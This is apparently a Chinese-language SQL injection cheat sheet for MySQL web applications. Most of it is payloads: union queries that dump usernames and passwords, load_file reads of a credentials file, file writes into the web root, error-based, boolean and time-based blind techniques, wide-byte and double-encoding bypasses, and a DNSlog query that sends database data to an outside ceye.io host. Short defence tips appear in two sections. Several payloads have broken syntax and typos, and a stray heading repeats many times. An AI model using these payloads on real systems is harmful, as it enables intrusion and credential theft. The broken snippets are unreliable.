SQL注入

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严导致数据库信息被攻击者利用窥看。
SQL注入
SQL注入
SQL注入
SQL注入
SQL注入
SQL注入
SQL注入
SQL注入
SQL注入

SQL注入
SQL注入
SQL注入

SQL注入
通常注入步骤:
(以下语句字段名不是通用,只作参考)
信息搜集:
union select 1,2,(select user())–+
union select 1,2,(select(dababase())–+
……………………
查库:
union select 1,2,(select group_concat(schema_name) from information_schema.schemata)–+
查表:
union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’–+ (security可以转换为16进制前面再加上0x,)
查列:
union select 1,2,(select group_concat(coumn_name) from information_schema.columns where table_name=‘users’
查数据:
union select 1,2,(select group_concat(username,0x7e,password) from security.users)–+
union select 1,2,(select concat_ws(’~’,username,password) from security.users limit 0,1)–+ (’~‘也可以用0x7e代替)
提权:
读取文件:
union select 1,2,(select load_file(’/var/www/html/sqlconnections/db-creds.inc’))–+(显示不了通过页面地址查看)

写入文件:
union select 1,2,(select ‘test’ into outfile(’/var/www/html/sql-connections/t.txt’)–+

报错注入(构造payload让信息通过错误提示回显出来):
SQL注入

示例:(concat连接字符串功能,floor取float的整数值,rand取0~1之间随机浮点值):
1.floor
select count(*) from information_schema.tables group by concat((select version(),floor(rand(0)2));
group by对rand()函数进行操作时产生错误,其实就是对select version()随意换语句查询
select count(
) from information_schema.tables group by concat((select version()),floor(rand(0)*2));
将select version()替换select table_name from information_schema.tables where table_schema=database();依次查库,再查表,列,字段。
2.extractvalue(extracvalue(1,concat(0x7e,(select user()),0x7e));
XPATH语法错误产生报错,用concat以防用户名root默认正确不返回,所以给0x7e错误的xpath语法
3.updatexml
1.concat(0x7e,(select user()),0x7e),1);
XPATH语法错误产生报错
updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1)0x7e),1)–+
以上三种中select语句32位限制(可以使用比如substr(concat(password),1,1)选取第一到第二位的密码输出进行限制)

布尔盲注(通过构造语句,通过页面响应真假来判断信息):
SQL注入
database() = security
left(database(),1)=‘s’
select database() regexp ‘^s’
select database() like ‘s%’
substr((select database()),1,1))=‘s’
ascii(substr((select database()),1,1))=98
ord(mid((select user()),1,1))=114
mid(a,b,c)从位置b开始,截取a字符串的c位ord()函数同ascii(),将字符转为ascii值

时间盲注(通过构造语句,通过页面响应时长来判断信息):
SQL注入
核心语法:if(left(user(),1)=‘a’,0,sleep(3));
if(left(user(),4)=‘roof’,0,sleep(3));
真实场景:if(ascii(substr(database(),1,1))>115,0,sleep(5))%23)

宽字节注入:
SQL注入
GBK编码处理编码的过程存在问题,可构造数据消灭
GB2312 GBK GB18030 BIG5 Shift_JIS等都是常用的宽字节,实际为两字节
防御:将攻击者’转换为’
前一个Ascii码值大于128才能到汉字的范围
MySQL在使用GBK编码的时候,会认为两个字符为一个汉字
黑盒测试:在可能的注入点后键入%df,之后进行注入测试
白盒测试:
1.查看MySql编码是否为GBK
2.是否使用preg_replace把单引号替换成’
3.是否使用addslashes进行转义
4.是否使用mysql_real_escape_string进行转义
方法:在注入点后键入%df,然后按照正常的注入流程开始注入
防止方法:
1.使用utf-8,避免宽字节注入;
2.mysql_real_escape_string,mysql_set_charset(‘gbk’,$conn);
3.可以设置参数,character_set_client=binary

二次编码注入:
SQL注入
urldecode()与php本身处理编码时,两者配合失误,可构造数据消灭)
加入’显示’不能注入,加上1%27加上变为1%2527此时解析为1’(1%25转义为%,再将%27转义为’)

二次注入:
在表单提交框中输入查询语句
e.g $username = 1’ union select 1,user(),3#;
防御:
1.对外部提交的数据,需要更加谨慎的对待。
2.程序内部的数据调用,也要严格地进行检查,一旦不小心,测试者就能将 特定了SQL语句带入到查询当中

DnsLog盲注:
弥补时间盲注(测试所需次数多,麻烦且容易触发安全机制)
ceye.io(可以在线注册该网址用户用来数据库发送请求接收信息)
例子:
SELECT LOAD_FILE((CONCAT(’\\’,(selectdatabase()),’.mysql.c0se5a.ceye.io’

WAF绕过(Web Application Firewall):
SQL注入
SQL注入
MySql内置函数:
https://dev.mysql.com/doc/refman/5.7/en/dynindex-function.html